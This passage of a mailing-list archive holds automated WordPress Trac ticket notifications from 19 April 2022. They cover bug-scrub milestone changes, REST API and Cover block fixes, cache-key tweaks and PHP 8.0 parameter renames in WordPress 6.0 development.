Severity: normal | Resolution: Keywords: has-unit-tests has-testing-info | Focuses: needs-testing needs-dev-note needs-patch | -------------------------------------------------+------------------------- Changes (by mikeschroder): * keywords: has-patch has-unit-tests has-testing-info needs-testing needs- dev-note => has-unit-tests has-testing-info needs-testing needs-dev-note needs- patch * milestone: 6.0 => Future Release Comment: This ticket was checked into [https://wordpress.slack.com/archives/C02RQBWTW/p1650346146598929 during a 6.0 bug scrub today]. Because it hasn't had recent movement, consensus was to move it out of the milestone. If it's ready before RC, please feel free to move it back! I've also swapped `has-patch` for `needs-patch` because the last reports were that there are failing tests that require changes. -- Ticket URL: <https://core.trac.wordpress.org/ticket/30854#comment:51> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 06:00:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 06:00:20 -0000 Subject: [wp-trac] [WordPress Trac] #36308: get_attached_file() destroys file paths on Windows In-Reply-To: <050.92eb671f89732a16ad562052bc684b6b@wordpress.org> References: <050.92eb671f89732a16ad562052bc684b6b@wordpress.org> Message-ID: <065.2ad58a1a941ed50cc4dc2517e38b18b0@wordpress.org> #36308: get_attached_file() destroys file paths on Windows -------------------------------------------------+------------------------- Reporter: Whissi | Owner: stevenlinx Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: 4.4.2 Severity: normal | Resolution: Keywords: good-first-bug has-patch has-unit- | Focuses: tests dev-feedback has-testing-info needs- | testing | -------------------------------------------------+------------------------- Comment (by costdev): This ticket was discussed in the recent bug scrub. @peterwilsoncc will be asking folks from the Security Team to take a look at this one too. -- Ticket URL: <https://core.trac.wordpress.org/ticket/36308#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 06:03:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 06:03:26 -0000 Subject: [wp-trac] [WordPress Trac] #37708: `wp_http_supports()` doesn't reflect what Requests can do In-Reply-To: <048.c3673848a328009d7b9e489cbc540cfc@wordpress.org> References: <048.c3673848a328009d7b9e489cbc540cfc@wordpress.org> Message-ID: <063.5cf0c8721365e10b97875d8c7d89a84a@wordpress.org> #37708: `wp_http_supports()` doesn't reflect what Requests can do --------------------------+----------------------- Reporter: dd32 | Owner: (none) Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: HTTP API | Version: 4.6 Severity: normal | Resolution: Keywords: | Focuses: --------------------------+----------------------- Comment (by peterwilsoncc): Per discussion in a recent bug scrub, I am moving this off the 6.0 milestone as it depends on Requests 2.0.0 being merged. Props @costdev, @chaion07. -- Ticket URL: <https://core.trac.wordpress.org/ticket/37708#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 07:24:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 07:24:53 -0000 Subject: [wp-trac] [WordPress Trac] #54272: Allow block themes to be activated without index.php In-Reply-To: <049.474a9f3e2f58561a3c488042836071ca@wordpress.org> References: <049.474a9f3e2f58561a3c488042836071ca@wordpress.org> Message-ID: <064.9e8ba2684e9e58a050b44d5138e0b1cb@wordpress.org> #54272: Allow block themes to be activated without index.php ---------------------------------------------+----------------------------- Reporter: poena | Owner: SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit needs-dev-note | Focuses: template ---------------------------------------------+----------------------------- Changes (by milana_cap): * keywords: has-patch commit => has-patch commit needs-dev-note Comment: Marking for dev note but really just needs mentioning in Field guide. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54272#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 07:31:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 07:31:25 -0000 Subject: [wp-trac] [WordPress Trac] #55580: Featured image in Cover block missing from published page In-Reply-To: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> References: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> Message-ID: <073.67822785a720b3aa087b941aa1245a81@wordpress.org> #55580: Featured image in Cover block missing from published page -------------------------------------------------+------------------------- Reporter: ironprogrammer | Owner: (none) Type: defect (bug) | Status: new Priority: high | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-screenshots has-patch needs- | Focuses: refresh dev-feedback needs-unit-tests | -------------------------------------------------+------------------------- Comment (by Mamaduka): Refreshed the PR to fix the unit test issue. @andraganescu, do we have unit test coverage for the `render_block_core_cover` method in the Gutenberg plugin? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55580#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 07:35:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 07:35:18 -0000 Subject: [wp-trac] [WordPress Trac] #55480: Add filter to modify description in plugin card In-Reply-To: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> References: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> Message-ID: <066.4190a3593b8d25f084d769007e564c7f@wordpress.org> #55480: Add filter to modify description in plugin card --------------------------------------+----------------------------- Reporter: afragen | Owner: SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-dev-note | Focuses: administration --------------------------------------+----------------------------- Changes (by milana_cap): * keywords: has-patch => has-patch needs-dev-note Comment: Marking for Dev note but really just needs mentioning in Field guide. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55480#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 09:26:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 09:26:34 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.43f8d1163d7762136061ba15611f3ee0@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg ----------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Comment (by gziolo): In [changeset:"53209" 53209]: {{{ #!CommitTicketReference repository="" revision="53209" REST API: Don't load remote patterns twice in the controller This PR aims to fix an issue with fetching remote patterns multiple times inside the WP_REST_Block_Patterns_Controller::get_items method. Follow-up [53152]. Props antonvlasenko. See #55567. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 09:34:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 09:34:54 -0000 Subject: [wp-trac] [WordPress Trac] #14179: Theme asking to update (theme with same name on WordPress.org) In-Reply-To: <058.1888876aa9afb2ce12323566fee2c44f@wordpress.org> References: <058.1888876aa9afb2ce12323566fee2c44f@wordpress.org> Message-ID: <073.43a4700aa258a1e7f91955fa5b8cfcb6@wordpress.org> #14179: Theme asking to update (theme with same name on WordPress.org) -------------------------------------------------+------------------------- Reporter: design_dolphin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-patch needs-unit-tests needs- | Focuses: testing dev-feedback | -------------------------------------------------+------------------------- Comment (by meloniq): Mentioned Github PR is what was already committed for plugins (without support for themes) in WP 5.8, so only one patch on board. Replying to [comment:87 costdev]: > This ticket was discussed in the bug scrub. > > There are currently two patches: > - [https://github.com/WordPress/wordpress-develop/pull/950 PR 950] > - [https://core.trac.wordpress.org/attachment/ticket/14179/14179 -UpdateURI-header.diff 14179-UpdateURI-header.diff] > > Both should be reviewed and one chosen to progress this ticket. Adding `dev-feedback`. > > As already indicated by `needs-unit-tests`, there are no unit tests included in either patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/14179#comment:89> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 09:39:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 09:39:57 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.7903b146d793ba05704f9414af400ae5@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg ----------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Comment (by gziolo): In [changeset:"53210" 53210]: {{{ #!CommitTicketReference repository="" revision="53210" REST API: Add `inserter` field to the schema of Patterns endpoint Backports changes from https://github.com/WordPress/gutenberg/pull/40416. Adds the missing `inserter` field to the Patterns item schema. This field was omitted from the response, and patterns that should be hidden in the inserter were visible. Props mamaduka, ndiego. See #55567. Follow-up [53152]. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 10:08:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 10:08:30 -0000 Subject: [wp-trac] [WordPress Trac] #55589: geo URI scheme Message-ID: <051.844ff85da8009756bc1d5cd90106e66a@wordpress.org> #55589: geo URI scheme -------------------------+----------------------------- Reporter: emedia3 | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: trunk Severity: normal | Keywords: Focuses: | -------------------------+----------------------------- Hello core team, since the URI scheme "geo" is becoming increasingly relevant, especially for mobile applications, I would like to suggest including it in the WordPress core. https://www.rfc-editor.org/rfc/rfc5870.html With kind regards -- Ticket URL: <https://core.trac.wordpress.org/ticket/55589> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 10:42:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 10:42:17 -0000 Subject: [wp-trac] [WordPress Trac] #55463: Add a limit to _prime_*_cache functions In-Reply-To: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> References: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> Message-ID: <071.f8bc0db30574b327b1561ef66e380887@wordpress.org> #55463: Add a limit to _prime_*_cache functions --------------------------------------+----------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: Future Release Component: Cache API | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: performance --------------------------------------+----------------------------- Changes (by spacedmonkey): * milestone: 6.0 => Future Release Comment: Moving to future release unlimit we can decide if this should go ahead. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55463#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 10:51:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 10:51:21 -0000 Subject: [wp-trac] [WordPress Trac] #55352: Improve cache key generation in WP_Term_Query In-Reply-To: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> References: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> Message-ID: <071.358cec481144da1f37a1eb9ec57de74e@wordpress.org> #55352: Improve cache key generation in WP_Term_Query --------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.7 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: performance --------------------------------------+--------------------------- Comment (by spacedmonkey): I did some more testing, I noticed, I was getting duplicate queries in the admin. This was fix by changing this line to {{{#!php $key = md5( serialize( $cache_args ) . serialize( $taxonomies ) . $this->request ); }}} to {{{#!php $key = md5( serialize( asort( $cache_args ) ) . serialize( $taxonomies ) . $this->request ); }}} Seems like a small different in the cache args, can result in an new cache key. I know @peterwilsoncc had a flagged something similar. As this is a small change, I think that can made it into 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55352#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 11:36:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 11:36:05 -0000 Subject: [wp-trac] [WordPress Trac] #55580: Featured image in Cover block missing from published page In-Reply-To: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> References: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> Message-ID: <073.65c1b199cf1fbfdea172692df6931fb6@wordpress.org> #55580: Featured image in Cover block missing from published page -------------------------------------------------+------------------------- Reporter: ironprogrammer | Owner: gziolo Type: defect (bug) | Status: closed Priority: high | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: fixed Keywords: has-screenshots has-patch needs- | Focuses: refresh dev-feedback needs-unit-tests | -------------------------------------------------+------------------------- Changes (by gziolo): * owner: (none) => gziolo * status: new => closed * resolution: => fixed Comment: In [changeset:"53212" 53212]: {{{ #!CommitTicketReference repository="" revision="53212" Editor: Correctly register the dynamic Cover block The new "Featured Image" enhancement is handled dynamically, so we need to update how the Cover block is handled in the build processa and registered in the code. Props ironprogrammer, costdev, Mamaduka, chaion07. Fixes #55580. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55580#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 11:37:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 11:37:40 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.058c7f15bfad6c2ddc92cd98e1f142c1@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg ----------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Comment (by gziolo): Closed #55580 with [53212] that contains a bug fix to the Cover block registration that is now dynamic and needs some additional PHP handling. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 11:46:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 11:46:14 -0000 Subject: [wp-trac] [WordPress Trac] #55580: Featured image in Cover block missing from published page In-Reply-To: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> References: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> Message-ID: <073.6583a31dd541d755f11c95d1da127add@wordpress.org> #55580: Featured image in Cover block missing from published page -------------------------------------------------+------------------------- Reporter: ironprogrammer | Owner: gziolo Type: defect (bug) | Status: reopened Priority: high | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-screenshots has-patch needs- | Focuses: refresh dev-feedback needs-unit-tests | -------------------------------------------------+------------------------- Changes (by gziolo): * status: closed => reopened * resolution: fixed => Comment: @Mamaduka mentioned this one requires also unit tests before it can be considered complete. Reopening also because there are some failures on CI after this commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55580#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 11:49:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 11:49:36 -0000 Subject: [wp-trac] [WordPress Trac] #55580: Featured image in Cover block missing from published page In-Reply-To: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> References: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> Message-ID: <073.6de3d36eb0e7b543bdac2588b6ee91c5@wordpress.org> #55580: Featured image in Cover block missing from published page -------------------------------------------------+------------------------- Reporter: ironprogrammer | Owner: gziolo Type: defect (bug) | Status: reopened Priority: high | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-screenshots has-patch needs- | Focuses: refresh dev-feedback needs-unit-tests | -------------------------------------------------+------------------------- Comment (by gziolo): In [changeset:"53213" 53213]: {{{ #!CommitTicketReference repository="" revision="53213" Editor: Include the PHP file for the Cover block This file is copied by the build process but it also needs to be versioned so unit tests can run without issues. Follow-up [53212]. See #55580. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55580#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 12:35:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 12:35:41 -0000 Subject: [wp-trac] [WordPress Trac] #39108: Media: can't leave an image "untitled" from the "Edit Media" menu In-Reply-To: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> References: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> Message-ID: <068.631492e6ff04ab20800dbd1fb72d7c60@wordpress.org> #39108: Media: can't leave an image "untitled" from the "Edit Media" menu -------------------------------------------------+------------------------- Reporter: dromero20 | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Media | Version: 4.6.1 Severity: normal | Resolution: Keywords: good-first-bug has-patch has- | Focuses: testing-info assigned-for-commit needs-dev- | note commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: good-first-bug has-patch has-testing-info assigned-for-commit needs- dev-note => good-first-bug has-patch has-testing-info assigned-for-commit needs- dev-note commit Comment: Alright, I double checked the current PR and I think it's good to go. -- Ticket URL: <https://core.trac.wordpress.org/ticket/39108#comment:28> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 12:38:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 12:38:07 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.8349b356ff57ac58bce1912db7e9087b@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg ----------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Comment (by gziolo): In [changeset:"53214" 53214]: {{{ #!CommitTicketReference repository="" revision="53214" Editor: Fix Comment Query block isn't lazy loading meta data Related GitHub issue: https://github.com/WordPress/gutenberg/issues/40241. Primes comment meta data cache within calls to WP_Comment_Query. Props peterwilsoncc, cbravobernal. See #55567. Follow-up [53138]. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 12:46:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 12:46:38 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.06ea843d3cd388a276975948dc0a0a93@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53215" 53215]: {{{ #!CommitTicketReference repository="" revision="53215" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/plugin.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$function` parameter to `$callback` in: * `add_menu_page()` * `add_submenu_page()` * `add_management_page()` * `add_options_page()` * `add_theme_page()` * `add_plugins_page()` * `add_users_page()` * `add_dashboard_page()` * `add_posts_page()` * `add_media_page()` * `add_links_page()` * `add_pages_page()` * `add_comments_page()` * Renames the `$echo` parameter to `$display` in `menu_page_url()`. * Renames the `$parent` parameter to `$parent_page` in `get_admin_page_parent()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:30> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 13:49:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 13:49:34 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.645ae30f31c64effd17ea2c408d24b31@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53216" 53216]: {{{ #!CommitTicketReference repository="" revision="53216" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/taxonomy.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$parent` parameter to `$category_parent` in `category_exists()` and `wp_create_category()`. This matches the category object property of the same name. * Amends similar parameters in `dropdown_categories()` and `wp_dropdown_cats()` for consistency. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:31> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 14:38:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 14:38:32 -0000 Subject: [wp-trac] [WordPress Trac] #55213: Respect _fields query arg in preloaded requests In-Reply-To: <051.d712b5ccb9e8118ed260725e0fdb22c9@wordpress.org> References: <051.d712b5ccb9e8118ed260725e0fdb22c9@wordpress.org> Message-ID: <066.1972341740b48c9802b60088d87bcdbf@wordpress.org> #55213: Respect _fields query arg in preloaded requests --------------------------------------+--------------------- Reporter: jsnajdr | Owner: gziolo Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by gziolo): * owner: (none) => gziolo * status: new => closed * resolution: => fixed Comment: In [changeset:"53217" 53217]: {{{ #!CommitTicketReference repository="" revision="53217" REST API: Respect _fields query arg in preloaded requests Ensures that preloaded request can include a `_fields` query param that asks that only selected response fields are returned. Props jsnajdr, timothyblynjacobs. Fixes #55213. See #55567. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55213#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 14:38:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 14:38:32 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.582fadd6f03c4542ec7cd3d89f11a927@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg ----------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Comment (by gziolo): In [changeset:"53217" 53217]: {{{ #!CommitTicketReference repository="" revision="53217" REST API: Respect _fields query arg in preloaded requests Ensures that preloaded request can include a `_fields` query param that asks that only selected response fields are returned. Props jsnajdr, timothyblynjacobs. Fixes #55213. See #55567. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 14:56:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 14:56:55 -0000 Subject: [wp-trac] [WordPress Trac] #55574: WP_REST_Pattern_Directory_Controller::get_items doesn't support array arguments In-Reply-To: <057.4a7bf33d75b57745588ace8517acc77b@wordpress.org> References: <057.4a7bf33d75b57745588ace8517acc77b@wordpress.org> Message-ID: <072.0faffa1c96b32b02cee6ba3bab044371@wordpress.org> #55574: WP_REST_Pattern_Directory_Controller::get_items doesn't support array arguments ---------------------------+------------------------------ Reporter: antonvlasenko | Owner: antonvlasenko Type: enhancement | Status: closed Priority: normal | Milestone: Awaiting Review Component: REST API | Version: trunk Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: rest-api ---------------------------+------------------------------ Changes (by gziolo): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53218" 53218]: {{{ #!CommitTicketReference repository="" revision="53218" REST API: Add array argument to getItems for Pattern Directory endopoint Since http://api.wordpress.org/patterns API supports array parameters, there is no need to implode slug values inside the _register_remote_theme_patterns function. Both WP_REST_Pattern_Directory_Controller and _register_remote_theme_patternsmust be updated to support array request arguments. Props antonvlasenko. Fixes #55574. Follow-up #55505, [53152]. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55574#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 15:09:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 15:09:02 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.e03a403ff6329f2ce7d675c9c0e8bde8@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg ----------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Comment (by gziolo): In [changeset:"53219" 53219]: {{{ #!CommitTicketReference repository="" revision="53219" Editor: Update WordPress packages for 6.0 Beta 2 Included cherry-picked commits from the Gutenberg plugin that fix bugs discovered after WordPress 6.0 Beta 1. Props zieladam, ndiego. See #55567. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:24> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 19 15:11:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 19 Apr 2022 15:11:37 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.31198cd0fe387e92bff759d3693e3e37@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53220" 53220]: {{{ #!CommitTicketReference repository="" revision="53220" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/template.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$echo` parameter to `$display` in: * `wp_popular_terms_checklist()` * `_post_states()` * `_media_states()` * Renames the `$default` parameter to `$default_term` in `wp_popular_terms_checklist()`. * Renames the `$default` parameter 